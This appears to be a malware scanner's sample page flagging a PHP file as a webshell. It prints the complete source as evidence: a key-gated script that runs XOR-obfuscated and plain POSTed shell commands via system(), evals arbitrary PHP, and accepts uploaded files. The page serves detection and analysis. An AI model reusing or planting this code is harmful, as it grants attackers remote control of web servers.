Hostile 100% php Download

renamed.php

PHP request execution shell accepts uploadsPHP request-to-command webshell pattern
SHA-256c1d3b84d84830eaa138dcc64c59cf07ce83fac8c7e1f4d4d9390bf679ac456ec

Evidence

$_POST reaches exec/system/shell_exec lines 1–20
1<?php
2$secret = 'different-token';
3if (!isset($_GET['key']) || $_GET['key'] !== $secret) {
4 http_response_code(404);
5 exit;
6}
7if (isset($_POST['encoded_task'])) {
8 $decoded = base64_decode($_POST['encoded_task']);
9 $command = '';
10 for ($pos = 0; $pos < strlen($decoded); $pos++) { $command .= chr(ord($decoded[$pos]) ^ ord($secret[$pos % strlen($secret)])); }
11 system($command);
12} elseif (isset($_POST['task'])) {
13 system($_POST['task']);
14} elseif (isset($_POST['code'])) {
15 eval($_POST['code']);
16} elseif (isset($_FILES['upload']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) {
17 if (move_uploaded_file($_FILES['upload']['tmp_name'], '/var/tmp/task.php')) {
18 echo 'UPOK';
19 }
20}

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.